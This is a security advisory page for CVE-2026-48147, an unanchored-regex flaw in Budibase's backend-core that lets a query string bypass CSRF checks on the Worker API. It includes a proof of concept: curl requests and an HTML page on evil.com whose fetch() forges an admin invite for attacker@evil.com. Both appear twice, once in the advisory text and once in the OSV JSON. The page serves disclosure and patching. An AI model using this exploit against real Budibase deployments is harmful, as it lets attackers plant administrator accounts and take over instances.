CVE-2026-48147: Budibase Unanchored Regex Vulnerability

MODERATE
Advisory Identifier: GHSA-wxq7-x3qp-vcr8
CVSS 6.5
CWE-185 CWE-352
Published
Advisory Summary

CVE-2026-48147 is a MODERATE (CVSS 6.5) unanchored regex vulnerability (CWE-185: Incorrect Regular Expression) affecting Budibase libraries in the npm ecosystem. The issue involves unanchored regex in `matchers.ts` allows csrf bypass via query string injection in budibase worker. Remediation is available by upgrading affected packages to version 3.35.4.

CVE-2026-48147 at a Glance

CVE Identifier CVE-2026-48147
GHSA Identifier GHSA-wxq7-x3qp-vcr8
Severity MODERATE
CVSS v3.1 Base Score 6.5
CWE Classification CWE-185: Incorrect Regular Expression
Affected Product Budibase
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 6.5

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-48147

To remediate this vulnerability, upgrade all affected Budibase dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

@budibase/backend-core fixed: 3.35.4
npm install @budibase/backend-core@3.35.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls @budibase/backend-core

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-48147, inspect your project dependencies using npm:

npm ls @budibase/backend-core

Analyze the terminal output to locate any version of Budibase in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.35.4), your application is affected.

Note: The npm ls @budibase/backend-core command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-185: Incorrect Regular Expression, where the product specifies a regular expression in a way that causes data to be improperly matched or compared. In Budibase, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary The `buildMatcherRegex()` / `matches()` functions in `packages/backend-core/src/middleware/matchers.ts` share the same structural root cause as the recently patched CVE-2026-31816: route patterns are compiled into **unanchored regular expressions** and tested against `ctx.request.url`, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token. CVE-2026-31816 fixed the same unanchored-regex-on-full-URL bug in `server/middleware/utils.ts` but left `backend-core/middleware/matchers.ts` untouched. --- ### Details **Root cause — `packages/backend-core/src/middleware/matchers.ts`:** ```typescript export const buildMatcherRegex = (patterns: EndpointMatcher[]): RegexMatcher[] => { return patterns.map(pattern => { let route = pattern.route // replaces :param segments with /.* const matches = route.match(PARAM_REGEX) if (matches) { for (let match of matches) { const suffix = match.endsWith("/") ? "/" : "" route = route.replace(match, "/.*" + suffix) } } return { regex: new RegExp(route), method, route } // ^ no ^ anchor, no $ anchor — matches anywhere in string }) } export const matches = (ctx: Ctx, options: RegexMatcher[]) => { return options.find(({ regex, method }) => { const urlMatch = regex.test(ctx.request.url) // full URL including query string const methodMatch = method === "ALL" ? true : ctx.request.method.toLowerCase() === method.toLowerCase() return urlMatch && methodMatch }) } ``` Two compounding bugs identical to the patched CVE: 1. `new RegExp(route)` — no `^` start anchor, no `$` end anchor. 2. `ctx.request.url` — full URL string including `?query=value`, not just the path. --- **CSRF middleware — `packages/backend-core/src/middleware/csrf.ts`:** ```typescript export function csrf( opts: { noCsrfPatterns: EndpointMatcher[] } = { noCsrfPatterns: [] } ) { const noCsrfOptions = buildMatcherRegex(opts.noCsrfPatterns) return (async (ctx: Ctx, next: Next) => { const found = matches(ctx, noCsrfOptions) if (found) { return next() // <-- CSRF check entirely skipped when pattern matches } // ... CSRF token validation ... }) as Middleware } ``` --- **Worker registration — `packages/worker/src/api/index.ts`:** ```typescript const NO_CSRF_ENDPOINTS = [...PUBLIC_ENDPOINTS] // PUBLIC_ENDPOINTS includes (among others): // { route: "/api/global/auth/:tenantId", method: "POST" } // { route: "/api/global/users/init", method: "POST" } // { route: "/api/system/restored", method: "POST" } router .use(auth.buildCsrfMiddleware({ noCsrfPatterns: NO_CSRF_ENDPOINTS })) ``` `buildMatcherRegex` compiles `"/api/global/auth/:tenantId"` into the regex `/api/global/auth/.*` (via PARAM_REGEX replacing `/:tenantId` → `/.*`). Since the regex is unanchored, it matches the substring `"/api/global/auth/"` **anywhere** in `ctx.request.url` — including inside a query string parameter on a completely different endpoint. **Triggering condition:** ``` POST /api/global/users/invite?x=/api/global/auth/evil ``` - `ctx.request.url` = `"/api/global/users/invite?x=/api/global/auth/evil"` - `new RegExp("/api/global/auth/.*").test(ctx.request.url)` → `true` (substring found in query string) - `ctx.request.method === "POST"` → `true` - `matches()` returns the pattern entry → CSRF skipped - The protected user-invite POST proceeds without any CSRF token --- **Additional affected middleware (same `matches()` call):** | Middleware | Pattern list | Security effect when bypassed | |---|---|---| | `csrf()` | `NO_CSRF_ENDPOINTS` | CSRF token validation skipped | | `tenancy()` | `NO_TENANCY_ENDPOINTS` | `allowNoTenant = true`, bypasses tenant ID requirement | | `authenticated()` | `PUBLIC_ENDPOINTS` | Marks endpoint as `publicEndpoint = true` | The `NO_TENANCY_ENDPOINTS` entry `{ route: "/api/system", method: "ALL" }` compiles to `/api/system` (no param replacement). Since `method: "ALL"` matches every HTTP verb and the pattern is unanchored, any request with `?x=/api/system/x` in its URL matches, potentially bypassing tenant isolation in multi-tenant deployments. --- ### PoC **Prerequisites:** Victim user is logged into a Budibase Worker instance (e.g., `https://budibase.target.com`) in their browser. Attacker hosts a page at `https://evil.com`. **Step 1 — Verify CSRF is normally enforced:** ```bash # Without the bypass — CSRF token missing → rejected curl -s -X POST 'https://budibase.target.com/api/global/users/invite' \ -H 'Cookie: <victim_session>' \ -H 'Content-Type: application/json' \ -d '{"email":"attacker@evil.com","roleId":"ADMIN","userInfo":{}}' \ -v # → HTTP 403 CSRF token mismatch ``` **Step 2 — CSRF bypass via query string injection:** ```bash # With the bypass — append a public-route pattern in the query string curl -s -X POST 'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil' \ -H 'Cookie: <victim_session>' \ -H 'Content-Type: application/json' \ -d '{"email":"attacker@evil.com","roleId":"ADMIN","userInfo":{}}' \ -v # → HTTP 200 OK — invite created, no CSRF token required ``` **Step 3 — Cross-site exploitation (victim visits attacker page):** ```html <!-- https://evil.com/csrf.html --> <html> <body> <script> fetch( 'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ email: 'attacker@evil.com', roleId: 'ADMIN', userInfo: {} }) } ) .then(r => r.json()) .then(d => console.log('Invite sent:', d)) </script> </body> </html> ``` When the authenticated victim visits `https://evil.com/csrf.html`, the browser sends the cross-origin POST including the victim's session cookie. The Worker's CSRF middleware matches `/api/global/auth/.*` in the query string, skips validation, and processes the admin invite. --- ### Impact An unauthenticated attacker can forge state-changing requests on behalf of any authenticated Budibase admin by injecting a public endpoint pattern into the query string of a Worker API call. Operations exposed by the Worker that become exploitable via CSRF include: - **User management**: send admin/operator invites, delete users, modify roles - **Global configuration**: update authentication settings (SSO, OIDC, SMTP), change branding - **Tenant administration**: in multi-tenant instances, tenant isolation bypass via `NO_TENANCY_ENDPOINTS` (`/api/system` match) combined with the CSRF bypass allows cross-tenant administrative actions The vulnerability affects all Budibase self-hosted deployments with an internet-accessible Worker service up to and including version **3.32.3**, which is the latest released version. It is a direct sibling of CVE-2026-31816 and stems from the same unanchored-regex-on-full-URL pattern in `packages/backend-core/src/middleware/matchers.ts`, which was not addressed by the patch for that CVE.

CVE-2026-48147 Affected Budibase Versions

1 component(s)
Fixed Versions:
3.35.4
Product / Package Ecosystem Affected Versions Fixed Version
@budibase/backend-core
npm
< 3.35.4
3.35.4

References

Frequently Asked Questions

What is CVE-2026-48147?
CVE-2026-48147 is a security vulnerability in Budibase involving Unanchored Regex in `matchers.ts` Allows CSRF Bypass via Query String Injection in Budibase Worker under CWE-185: Incorrect Regular Expression.
Which Budibase versions are affected?
Affected versions include releases prior to 3.35.4 across affected packages: @budibase/backend-core.
What version fixes CVE-2026-48147?
Upgrading to 3.35.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is @budibase/backend-core affected?
Yes, @budibase/backend-core is affected in releases prior to 3.35.4. Upgrade your dependency to 3.35.4 or later.
What is the CVSS score of CVE-2026-48147?
CVE-2026-48147 has a CVSS v3.1 base score of 6.5 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N.
What CWE is associated with CVE-2026-48147?
CVE-2026-48147 is classified under CWE-185: Incorrect Regular Expression (The product specifies a regular expression in a way that causes data to be improperly matched or compared.).
How can I check npm dependencies for CVE-2026-48147?
Run the dependency tree command: 'npm ls @budibase/backend-core'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-wxq7-x3qp-vcr8",
  "modified" : "2026-06-12T18:23:41Z",
  "published" : "2026-06-12T18:23:41Z",
  "aliases" : [ "CVE-2026-48147" ],
  "summary" : "Budibase: Unanchored Regex in `matchers.ts` Allows CSRF Bypass via Query String Injection in Budibase Worker ",
  "details" : "### Summary\n\nThe `buildMatcherRegex()` / `matches()` functions in `packages/backend-core/src/middleware/matchers.ts` share the same structural root cause as the recently patched CVE-2026-31816: route patterns are compiled into **unanchored regular expressions** and tested against `ctx.request.url`, which includes the full query string. The CSRF middleware in the Budibase Worker uses this matching system to decide whether to skip CSRF token validation. An unauthenticated attacker can forge state-changing cross-origin requests against any Worker API endpoint by injecting a public route pattern into the query string, causing the CSRF middleware to skip token validation entirely. This allows actions such as sending admin invites, modifying global configuration, and managing users without a valid CSRF token.\n\nCVE-2026-31816 fixed the same unanchored-regex-on-full-URL bug in `server/middleware/utils.ts` but left `backend-core/middleware/matchers.ts` untouched.\n\n---\n\n### Details\n\n**Root cause — `packages/backend-core/src/middleware/matchers.ts`:**\n\n```typescript\nexport const buildMatcherRegex = (patterns: EndpointMatcher[]): RegexMatcher[] => {\n  return patterns.map(pattern => {\n    let route = pattern.route\n    // replaces :param segments with /.*\n    const matches = route.match(PARAM_REGEX)\n    if (matches) {\n      for (let match of matches) {\n        const suffix = match.endsWith(\"/\") ? \"/\" : \"\"\n        route = route.replace(match, \"/.*\" + suffix)\n      }\n    }\n    return { regex: new RegExp(route), method, route }\n    //              ^ no ^ anchor, no $ anchor — matches anywhere in string\n  })\n}\n\nexport const matches = (ctx: Ctx, options: RegexMatcher[]) => {\n  return options.find(({ regex, method }) => {\n    const urlMatch = regex.test(ctx.request.url)  // full URL including query string\n    const methodMatch = method === \"ALL\" ? true\n      : ctx.request.method.toLowerCase() === method.toLowerCase()\n    return urlMatch && methodMatch\n  })\n}\n```\n\nTwo compounding bugs identical to the patched CVE:\n1. `new RegExp(route)` — no `^` start anchor, no `$` end anchor.\n2. `ctx.request.url` — full URL string including `?query=value`, not just the path.\n\n---\n\n**CSRF middleware — `packages/backend-core/src/middleware/csrf.ts`:**\n\n```typescript\nexport function csrf(\n  opts: { noCsrfPatterns: EndpointMatcher[] } = { noCsrfPatterns: [] }\n) {\n  const noCsrfOptions = buildMatcherRegex(opts.noCsrfPatterns)\n  return (async (ctx: Ctx, next: Next) => {\n    const found = matches(ctx, noCsrfOptions)\n    if (found) {\n      return next()   // <-- CSRF check entirely skipped when pattern matches\n    }\n    // ... CSRF token validation ...\n  }) as Middleware\n}\n```\n\n---\n\n**Worker registration — `packages/worker/src/api/index.ts`:**\n\n```typescript\nconst NO_CSRF_ENDPOINTS = [...PUBLIC_ENDPOINTS]\n// PUBLIC_ENDPOINTS includes (among others):\n// { route: \"/api/global/auth/:tenantId\", method: \"POST\" }\n// { route: \"/api/global/users/init\",     method: \"POST\" }\n// { route: \"/api/system/restored\",       method: \"POST\" }\n\nrouter\n  .use(auth.buildCsrfMiddleware({ noCsrfPatterns: NO_CSRF_ENDPOINTS }))\n```\n\n`buildMatcherRegex` compiles `\"/api/global/auth/:tenantId\"` into the regex `/api/global/auth/.*` (via PARAM_REGEX replacing `/:tenantId` → `/.*`). Since the regex is unanchored, it matches the substring `\"/api/global/auth/\"` **anywhere** in `ctx.request.url` — including inside a query string parameter on a completely different endpoint.\n\n**Triggering condition:**\n\n```\nPOST /api/global/users/invite?x=/api/global/auth/evil\n```\n\n- `ctx.request.url` = `\"/api/global/users/invite?x=/api/global/auth/evil\"`\n- `new RegExp(\"/api/global/auth/.*\").test(ctx.request.url)` → `true` (substring found in query string)\n- `ctx.request.method === \"POST\"` → `true`\n- `matches()` returns the pattern entry → CSRF skipped\n- The protected user-invite POST proceeds without any CSRF token\n\n---\n\n**Additional affected middleware (same `matches()` call):**\n\n| Middleware | Pattern list | Security effect when bypassed |\n|---|---|---|\n| `csrf()` | `NO_CSRF_ENDPOINTS` | CSRF token validation skipped |\n| `tenancy()` | `NO_TENANCY_ENDPOINTS` | `allowNoTenant = true`, bypasses tenant ID requirement |\n| `authenticated()` | `PUBLIC_ENDPOINTS` | Marks endpoint as `publicEndpoint = true` |\n\nThe `NO_TENANCY_ENDPOINTS` entry `{ route: \"/api/system\", method: \"ALL\" }` compiles to `/api/system` (no param replacement). Since `method: \"ALL\"` matches every HTTP verb and the pattern is unanchored, any request with `?x=/api/system/x` in its URL matches, potentially bypassing tenant isolation in multi-tenant deployments.\n\n---\n\n### PoC\n\n**Prerequisites:** Victim user is logged into a Budibase Worker instance (e.g., `https://budibase.target.com`) in their browser. Attacker hosts a page at `https://evil.com`.\n\n**Step 1 — Verify CSRF is normally enforced:**\n\n```bash\n# Without the bypass — CSRF token missing → rejected\ncurl -s -X POST 'https://budibase.target.com/api/global/users/invite' \\\n  -H 'Cookie: <victim_session>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"attacker@evil.com\",\"roleId\":\"ADMIN\",\"userInfo\":{}}' \\\n  -v\n# → HTTP 403 CSRF token mismatch\n```\n\n**Step 2 — CSRF bypass via query string injection:**\n\n```bash\n# With the bypass — append a public-route pattern in the query string\ncurl -s -X POST 'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil' \\\n  -H 'Cookie: <victim_session>' \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"attacker@evil.com\",\"roleId\":\"ADMIN\",\"userInfo\":{}}' \\\n  -v\n# → HTTP 200 OK — invite created, no CSRF token required\n```\n\n**Step 3 — Cross-site exploitation (victim visits attacker page):**\n\n```html\n<!-- https://evil.com/csrf.html -->\n<html>\n<body>\n<script>\nfetch(\n  'https://budibase.target.com/api/global/users/invite?x=/api/global/auth/evil',\n  {\n    method: 'POST',\n    credentials: 'include',\n    headers: { 'Content-Type': 'application/json' },\n    body: JSON.stringify({\n      email: 'attacker@evil.com',\n      roleId: 'ADMIN',\n      userInfo: {}\n    })\n  }\n)\n.then(r => r.json())\n.then(d => console.log('Invite sent:', d))\n</script>\n</body>\n</html>\n```\n\nWhen the authenticated victim visits `https://evil.com/csrf.html`, the browser sends the cross-origin POST including the victim's session cookie. The Worker's CSRF middleware matches `/api/global/auth/.*` in the query string, skips validation, and processes the admin invite.\n\n---\n\n### Impact\n\nAn unauthenticated attacker can forge state-changing requests on behalf of any authenticated Budibase admin by injecting a public endpoint pattern into the query string of a Worker API call. Operations exposed by the Worker that become exploitable via CSRF include:\n\n- **User management**: send admin/operator invites, delete users, modify roles\n- **Global configuration**: update authentication settings (SSO, OIDC, SMTP), change branding\n- **Tenant administration**: in multi-tenant instances, tenant isolation bypass via `NO_TENANCY_ENDPOINTS` (`/api/system` match) combined with the CSRF bypass allows cross-tenant administrative actions\n\nThe vulnerability affects all Budibase self-hosted deployments with an internet-accessible Worker service up to and including version **3.32.3**, which is the latest released version. It is a direct sibling of CVE-2026-31816 and stems from the same unanchored-regex-on-full-URL pattern in `packages/backend-core/src/middleware/matchers.ts`, which was not addressed by the patch for that CVE.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@budibase/backend-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.35.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Budibase/budibase/security/advisories/GHSA-wxq7-x3qp-vcr8"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-48147"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Budibase/budibase"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-185", "CWE-352" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-06-12T18:23:41Z",
    "nvd_published_at" : "2026-05-27T18:16:27Z"
  }
}